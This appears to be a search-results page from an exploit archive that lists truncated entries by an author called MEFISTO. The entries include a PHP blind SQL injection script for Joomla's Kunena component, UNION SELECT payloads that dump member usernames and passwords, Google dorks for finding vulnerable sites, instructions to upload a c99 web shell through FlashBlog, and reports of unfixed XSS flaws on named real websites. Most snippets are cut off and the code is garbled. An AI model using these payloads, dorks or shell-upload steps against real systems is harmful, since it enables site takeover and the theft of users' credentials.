29 matches found
Joomla Component Kunena Forums (com_kunena) bSQL Injection Exploit
No description provided by source. ?php iniset"maxexecutiontime",0; printr' Joomla Kunena Forums func Blind SQL Injection Exploit MEFISTO a.k.a ilkerkandemir mefisto at hackermail . com IMT imhatimi.org Usage: target.php siteSQL '; if $argc 1 $url = $argv1; $r =...
Joomla! Component Kunena Forums (com_kunena) - Blind SQL Injection
Joomla! Component Kunena Forums comkunena - Blind SQL Injection 1 $url = $argv1; $r = strlenfilegetcontents$url."+and+1=1--"; echo "\nExploiting:\n"; $w = strlenfilegetcontents$url."+and+1=0--"; $t = abs100-$w/$r100; echo "Username: "; for $i=1; $i $t-1 $count = $i; $i = 30; for $j = 1; $j $t-1...
Joomla Kunena Forums SQL Injection
1 $url = $argv1; $r = strlenfilegetcontents$url."+and+1=1--"; echo "\nExploiting:\n"; $w = strlenfilegetcontents$url."+and+1=0--"; $t = abs100-$w/$r100; echo "Username: "; for $i=1; $i $t-1 $count = $i; $i = 30; for $j = 1; $j $t-1 $laenge =...
Joomla! Component Kunena Forums (com_kunena) - Blind SQL Injection
1 $url = $argv1; $r = strlenfilegetcontents$url."+and+1=1--"; echo "\nExploiting:\n"; $w = strlenfilegetcontents$url."+and+1=0--"; $t = abs100-$w/$r100; echo "Username: "; for $i=1; $i $t-1 $count = $i; $i = 30; for $j = 1; $j $t-1 $laenge =...
ijoomla-blindsql.txt
!/usr/bin/perl Script Name: Joomla Component News Portal : "; $dir = ; chop $dir; if $dir = /exit/ print "-- Exploit FailedYou Are Exited \n"; exit; if $dir = /// else print "-- Exploit FailedNo DIR \n"; exit; $target =...
FlashBlog 0.31b Remote Arbitrary File Upload Vulnerability
No description provided by source. FlashBlog beta0.31 Remote File Upload Vulnerability Author : ilker kandemir a.k.a MEFISTO Dork : inurl:flashblog.html or inurl:/flashblog/ Website : www.dumenci.net, www.coderx.org http://site.com/admin/Editor/imgupload.php == upload your c99 shell...
flashblog-upload.txt
FlashBlog beta0.31 Remote File Upload Vulnerability Author : MEFISTO ---- mefisto |at |hackermail |dot| com Dork : flashblog.html Website : www.dumenci.net http://Site/script/admin/Editor/imgupload.php == upload your c99 shell http://Site/script/tusimagenes/c99.php == your address Tnx: Dumenci,...
okulop-sql.txt
Dumenci v19.1 Okul Otomasyon Portal v2.0 remote sql injection AUTHOR : Okulumun sitesi Script Download : http://www.okulumunsitesi.com/ DORK: "inurl:/k12.tr/?part=" Injection Adress : http://site.com/default.asp?islem=1&id=sql code my COD : -1+union+select+0,1,id,baslik,4,5,6+from+haber...
Okul Otomasyon Portal 2.0 - SQL Injection
Dumenci v19.1 Okul Otomasyon Portal v2.0 remote sql injection AUTHOR : Okulumun sitesi Script Download : http://www.okulumunsitesi.com/ DORK: "inurl:/k12.tr/?part=" Injection Adress : http://site.com/default.asp?islem=1&id=sql code my COD : -1+union+select+0,1,id,baslik,4,5,6+from+haber...
Unfixed XSS vulnerability at www.1gb.ua
Security researcher MEFISTO, has submitted on 30/08/2007 a cross-site-scripting XSS vulnerability affecting www.1gb.ua, which at the time of submission ranked 232930 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 30/08/2007. It is currently...
Unfixed XSS vulnerability at edu.ru
Security researcher MEFISTO, has submitted on 28/08/2007 a cross-site-scripting XSS vulnerability affecting edu.ru, which at the time of submission ranked 7503 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 30/08/2007. It is currently unfixed...
Unfixed XSS vulnerability at www.cs.tufts.edu
Security researcher MEFISTO, has submitted on 28/08/2007 a cross-site-scripting XSS vulnerability affecting www.cs.tufts.edu, which at the time of submission ranked 18775 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 30/08/2007. It is current...
Unfixed XSS vulnerability at www.litportal.ru
Security researcher MEFISTO, has submitted on 28/08/2007 a cross-site-scripting XSS vulnerability affecting www.litportal.ru, which at the time of submission ranked 8625 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 30/08/2007. It is currentl...
Unfixed XSS vulnerability at www.wireless.ru
Security researcher MEFISTO, has submitted on 28/08/2007 a cross-site-scripting XSS vulnerability affecting www.wireless.ru, which at the time of submission ranked 873969 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 30/08/2007. It is current...
Gurur Haber v2.0
Gurur Portal tr uyeler2.php Remote Sql injection download:http://php.arsivimiz.com/ara.php?Arama=Gurur+haber+v1.3&Kategori= exploit usage example : site.com/path/uyeler2.php?id=-120union+select+0,kadi,2,id,sifre,5,6,7,8,9,10,11+from+uyeler dumenci eyw MEFISTO ,ajann...
gurur-sql.txt
Gurur Portal tr uyeler2.php Remote Sql injection download:http://php.arsivimiz.com/ara.php?Arama=Gurur+haber+v1.3&Kategori= exploit usage example : site.com/path/uyeler2.php?id=-1%20union+select+0,kadi,2,id,sifre,5,6,7,8,9,10,11+from+uyeler dumenci eyw MEFISTO ,ajann...
mcNews (skinfile) Remote File Include Vulnerability
------------------------------------------------------------------------------------------------------------------- MEFISTO PreSents... Script: mcNews Script Download: ftp://ftp1.comscripts.com/PHP/845mcnews-13.zip Contact: ilker Kandemir ilkerkandemiratmynet.com info: / MEFISTO /...
Unfixed XSS vulnerability at pr-cy.ru
Security researcher MEFISTO, has submitted on 08/09/2007 a cross-site-scripting XSS vulnerability affecting pr-cy.ru, which at the time of submission ranked 100356 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 09/09/2007. It is currently...
Unfixed XSS vulnerability at www.lib.ncsu.edu
Security researcher MEFISTO, has submitted on 08/09/2007 a cross-site-scripting XSS vulnerability affecting www.lib.ncsu.edu, which at the time of submission ranked 7277 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 09/09/2007. It is currentl...
Unfixed XSS vulnerability at 2ip.ru
Security researcher MEFISTO, has submitted on 08/09/2007 a cross-site-scripting XSS vulnerability affecting 2ip.ru, which at the time of submission ranked 39649 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 09/09/2007. It is currently unfixed...